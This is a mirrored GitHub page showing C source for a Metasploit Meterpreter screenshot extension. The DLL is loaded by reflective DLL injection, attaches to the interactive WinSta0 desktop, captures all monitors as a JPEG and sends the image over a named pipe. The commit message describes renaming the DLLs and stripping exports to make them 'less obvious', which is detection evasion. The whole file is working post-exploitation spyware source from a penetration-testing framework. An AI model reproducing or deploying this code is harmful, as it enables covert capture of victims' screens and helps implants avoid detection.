mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-04-12 04:12:05 +02:00

Add support for loading RDI-related stuff using ordinals instead of function names. Remove exports from the extensions/etc. This is another step in the direction to make the DLLs less obvious. Extensions no longer have their own name in the library metadata. They're all "extension.dll". Metsrv is now "server.dll" and the two non-extensions are "plugin.dll". I was going for something a little less obvious. This required changes to the RDI functionality.
351 lines
9.5 KiB
C
351 lines
9.5 KiB
C
#include "screenshot.h"
|
|
#include "bmp2jpeg.h"
|
|
#include "common.h"
|
|
|
|
// define this as we are going to be injected via RDI
|
|
#define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
|
|
|
// define this as we want to use our own DllMain function
|
|
#define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
|
|
|
|
#define RDIDLL_NOEXPORT
|
|
#include "../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
|
|
|
/*
|
|
* Send a buffer to a named pipe server.
|
|
*/
|
|
DWORD screenshot_send(char * cpNamedPipe, BYTE * pJpegBuffer, DWORD dwJpegSize)
|
|
{
|
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
|
HANDLE hPipe = NULL;
|
|
DWORD dwWritten = 0;
|
|
DWORD dwTotal = 0;
|
|
|
|
do
|
|
{
|
|
hPipe = CreateFileA(cpNamedPipe, GENERIC_ALL, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
|
|
if (!hPipe)
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot_send. CreateFileA failed");
|
|
|
|
if (!WriteFile(hPipe, (LPCVOID)&dwJpegSize, sizeof(DWORD), &dwWritten, NULL))
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot_send. WriteFile JPEG length failed");
|
|
|
|
if (!dwJpegSize || !pJpegBuffer)
|
|
BREAK_WITH_ERROR("[SCREENSHOT] screenshot_send. No JPEG to transmit.", ERROR_BAD_LENGTH);
|
|
|
|
while(dwTotal < dwJpegSize)
|
|
{
|
|
if (!WriteFile(hPipe, (LPCVOID)(pJpegBuffer + dwTotal), (dwJpegSize - dwTotal), &dwWritten, NULL))
|
|
break;
|
|
dwTotal += dwWritten;
|
|
}
|
|
|
|
if (dwTotal != dwJpegSize)
|
|
BREAK_WITH_ERROR("[SCREENSHOT] screenshot_send. dwTotal != dwJpegSize", ERROR_BAD_LENGTH);
|
|
|
|
dwResult = ERROR_SUCCESS;
|
|
|
|
} while(0);
|
|
|
|
CLOSE_HANDLE(hPipe);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* Take a screenshot of this sessions default input desktop on WinSta0
|
|
* and send it as a JPEG image to a named pipe.
|
|
*/
|
|
DWORD screenshot(int quality, DWORD dwPipeName)
|
|
{
|
|
DWORD dwResult = ERROR_ACCESS_DENIED;
|
|
HWINSTA hWindowStation = NULL;
|
|
HWINSTA hOrigWindowStation = NULL;
|
|
HDESK hInputDesktop = NULL;
|
|
HDESK hOrigDesktop = NULL;
|
|
HWND hDesktopWnd = NULL;
|
|
HDC hdc = NULL;
|
|
HDC hmemdc = NULL;
|
|
HBITMAP hbmp = NULL;
|
|
BYTE * pJpegBuffer = NULL;
|
|
OSVERSIONINFO os = {0};
|
|
char cNamedPipe[MAX_PATH] = {0};
|
|
// If we use SM_C[X|Y]VIRTUALSCREEN we can screenshot the whole desktop of a multi monitor display.
|
|
int xmetric = SM_CXVIRTUALSCREEN;
|
|
int ymetric = SM_CYVIRTUALSCREEN;
|
|
int xposition = SM_XVIRTUALSCREEN;
|
|
int yposition = SM_YVIRTUALSCREEN;
|
|
DWORD dwJpegSize = 0;
|
|
int sx = 0;
|
|
int sy = 0;
|
|
int sxpos = 0;
|
|
int sypos = 0;
|
|
|
|
do
|
|
{
|
|
_snprintf_s(cNamedPipe, sizeof(cNamedPipe), MAX_PATH, "\\\\.\\pipe\\%08X", dwPipeName);
|
|
|
|
os.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);
|
|
|
|
if (!GetVersionEx(&os))
|
|
{
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot: GetVersionEx failed")
|
|
}
|
|
|
|
// On NT we cant use SM_CXVIRTUALSCREEN/SM_CYVIRTUALSCREEN.
|
|
if (os.dwMajorVersion <= 4)
|
|
{
|
|
xmetric = SM_CXSCREEN;
|
|
ymetric = SM_CYSCREEN;
|
|
}
|
|
|
|
// open the WinSta0 as some services are attached to a different window station.
|
|
hWindowStation = OpenWindowStationA("WinSta0", FALSE, WINSTA_ALL_ACCESS);
|
|
if (!hWindowStation)
|
|
{
|
|
if (RevertToSelf())
|
|
{
|
|
hWindowStation = OpenWindowStationA("WinSta0", FALSE, WINSTA_ALL_ACCESS);
|
|
}
|
|
}
|
|
|
|
// if we cant open the defaut input station we wont be able to take a screenshot
|
|
if (!hWindowStation)
|
|
{
|
|
BREAK_WITH_ERROR("[SCREENSHOT] screenshot: Couldnt get the WinSta0 Window Station", ERROR_INVALID_HANDLE);
|
|
}
|
|
|
|
// get the current process's window station so we can restore it later on.
|
|
hOrigWindowStation = GetProcessWindowStation();
|
|
|
|
// set the host process's window station to this sessions default input station we opened
|
|
if (!SetProcessWindowStation(hWindowStation))
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot: SetProcessWindowStation failed");
|
|
|
|
// grab a handle to the default input desktop (e.g. Default or WinLogon)
|
|
hInputDesktop = OpenInputDesktop(0, FALSE, MAXIMUM_ALLOWED);
|
|
if (!hInputDesktop)
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot: OpenInputDesktop failed");
|
|
|
|
// get the threads current desktop so we can restore it later on
|
|
hOrigDesktop = GetThreadDesktop(GetCurrentThreadId());
|
|
|
|
// set this threads desktop to that of this sessions default input desktop on WinSta0
|
|
SetThreadDesktop(hInputDesktop);
|
|
|
|
// and now we can grab a handle to this input desktop
|
|
hDesktopWnd = GetDesktopWindow();
|
|
|
|
// and get a DC from it so we can read its pixels!
|
|
hdc = GetDC(hDesktopWnd);
|
|
if (!hdc)
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot. GetDC failed");
|
|
|
|
// back up this DC with a memory DC
|
|
hmemdc = CreateCompatibleDC(hdc);
|
|
if (!hmemdc)
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot. CreateCompatibleDC failed");
|
|
|
|
// calculate the width and height
|
|
sx = GetSystemMetrics(xmetric);
|
|
sy = GetSystemMetrics(ymetric);
|
|
|
|
// calculate the absolute virtual screen position
|
|
// prevent breaking functionality on <= NT 4.0
|
|
if (os.dwMajorVersion >= 4)
|
|
{
|
|
sxpos = GetSystemMetrics(SM_XVIRTUALSCREEN);
|
|
sypos = GetSystemMetrics(SM_YVIRTUALSCREEN);
|
|
}
|
|
|
|
|
|
// and create a bitmap
|
|
hbmp = CreateCompatibleBitmap(hdc, sx, sy);
|
|
if (!hbmp)
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot. CreateCompatibleBitmap failed");
|
|
|
|
// this bitmap is backed by the memory DC
|
|
if (!SelectObject(hmemdc, hbmp))
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot. SelectObject failed");
|
|
|
|
// BitBlt the screenshot of this sessions default input desktop on WinSta0 onto the memory DC we created
|
|
// screenshot all available monitors by default
|
|
|
|
HMODULE user32 = NULL;
|
|
if ((user32 = LoadLibraryA("user32")))
|
|
{
|
|
|
|
FARPROC SPDA = GetProcAddress(user32, "SetProcessDPIAware");
|
|
if (SPDA)
|
|
{
|
|
SPDA();
|
|
}
|
|
FreeLibrary(user32);
|
|
}
|
|
if (!StretchBlt(hmemdc, 0, 0, sx, sy, hdc, sxpos, sypos, GetSystemMetrics(SM_CXVIRTUALSCREEN), GetSystemMetrics(SM_CYVIRTUALSCREEN), SRCCOPY))
|
|
BREAK_ON_ERROR("[SCREENSHOT] screenshot. StretchBlt failed");
|
|
|
|
// finally convert the BMP we just made into a JPEG...
|
|
if (bmp2jpeg(hbmp, hmemdc, quality, &pJpegBuffer, &dwJpegSize) != 1)
|
|
BREAK_WITH_ERROR("[SCREENSHOT] screenshot. bmp2jpeg failed", ERROR_INVALID_HANDLE);
|
|
|
|
// we have succeded
|
|
dwResult = ERROR_SUCCESS;
|
|
|
|
} while(0);
|
|
|
|
// if we have successfully taken a screenshot we send it back via the named pipe
|
|
// but if we have failed we send back a zero byte result to indicate this failure.
|
|
if (dwResult == ERROR_SUCCESS)
|
|
screenshot_send(cNamedPipe, pJpegBuffer, dwJpegSize);
|
|
else
|
|
screenshot_send(cNamedPipe, NULL, 0);
|
|
|
|
if (hdc)
|
|
ReleaseDC(hDesktopWnd, hdc);
|
|
|
|
if (hmemdc)
|
|
DeleteDC(hmemdc);
|
|
|
|
if (hbmp)
|
|
DeleteObject(hbmp);
|
|
|
|
// free the jpeg images buffer
|
|
if (pJpegBuffer)
|
|
free(pJpegBuffer);
|
|
|
|
// restore the origional process's window station
|
|
if (hOrigWindowStation)
|
|
SetProcessWindowStation(hOrigWindowStation);
|
|
|
|
// restore the threads origional desktop
|
|
if (hOrigDesktop)
|
|
SetThreadDesktop(hOrigDesktop);
|
|
|
|
// close the WinSta0 window station handle we opened
|
|
if (hWindowStation)
|
|
CloseWindowStation(hWindowStation);
|
|
|
|
// close this last to avoid a handle leak...
|
|
if (hInputDesktop)
|
|
CloseDesktop(hInputDesktop);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* Grab a DWORD value out of the command line.
|
|
* e.g. screenshot_command_dword("/FOO:0x41414141 /BAR:0xCAFEF00D", "/FOO:") == 0x41414141
|
|
*/
|
|
DWORD screenshot_command_dword(char * cpCommandLine, char * cpCommand)
|
|
{
|
|
char * cpString = NULL;
|
|
DWORD dwResult = 0;
|
|
|
|
do
|
|
{
|
|
if (!cpCommandLine || !cpCommand)
|
|
break;
|
|
|
|
cpString = strstr(cpCommandLine, cpCommand);
|
|
if (!cpString)
|
|
break;
|
|
|
|
cpString += strlen(cpCommand);
|
|
|
|
dwResult = strtoul(cpString, NULL, 0);
|
|
|
|
} while(0);
|
|
|
|
return dwResult;
|
|
}
|
|
|
|
/*
|
|
* Grab a int value out of the command line.
|
|
* e.g. screenshot_command_int("/FOO:12345 /BAR:54321", "/FOO:") == 12345
|
|
*/
|
|
int screenshot_command_int(char * cpCommandLine, char * cpCommand)
|
|
{
|
|
char * cpString = NULL;
|
|
int iResult = 0;
|
|
|
|
do
|
|
{
|
|
if (!cpCommandLine || !cpCommand)
|
|
break;
|
|
|
|
cpString = strstr(cpCommandLine, cpCommand);
|
|
if (!cpString)
|
|
break;
|
|
|
|
cpString += strlen(cpCommand);
|
|
|
|
iResult = atoi(cpString);
|
|
|
|
} while(0);
|
|
|
|
return iResult;
|
|
}
|
|
|
|
/*
|
|
* The real entrypoint for this app.
|
|
*/
|
|
VOID screenshot_main(char * cpCommandLine)
|
|
{
|
|
DWORD dwResult = ERROR_INVALID_PARAMETER;
|
|
|
|
do
|
|
{
|
|
dprintf("[SCREENSHOT] screenshot_main. cpCommandLine=0x%08X", (DWORD)cpCommandLine);
|
|
|
|
if (!cpCommandLine)
|
|
break;
|
|
|
|
if (strlen(cpCommandLine) == 0)
|
|
break;
|
|
|
|
dprintf("[SCREENSHOT] screenshot_main. lpCmdLine=%s", cpCommandLine);
|
|
|
|
if (strstr(cpCommandLine, "/s"))
|
|
{
|
|
DWORD dwPipeName = 0;
|
|
int quality = 0;
|
|
|
|
quality = screenshot_command_int(cpCommandLine, "/q:");
|
|
|
|
dwPipeName = screenshot_command_dword(cpCommandLine, "/p:");
|
|
|
|
dwResult = screenshot(quality, dwPipeName);
|
|
}
|
|
|
|
} while(0);
|
|
|
|
dprintf("[SCREENSHOT] screenshot_main. ExitThread dwResult=%d", dwResult);
|
|
|
|
ExitThread(dwResult);
|
|
}
|
|
|
|
/*
|
|
* DLL entry point. If we have been injected via RDI, lpReserved will be our command line.
|
|
*/
|
|
BOOL WINAPI DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
|
|
{
|
|
BOOL bReturnValue = TRUE;
|
|
|
|
switch (dwReason)
|
|
{
|
|
case DLL_PROCESS_ATTACH:
|
|
hAppInstance = hInstance;
|
|
if (lpReserved != NULL)
|
|
screenshot_main((char *)lpReserved);
|
|
break;
|
|
case DLL_PROCESS_DETACH:
|
|
case DLL_THREAD_ATTACH:
|
|
case DLL_THREAD_DETACH:
|
|
break;
|
|
}
|
|
|
|
return bReturnValue;
|
|
}
|
|
|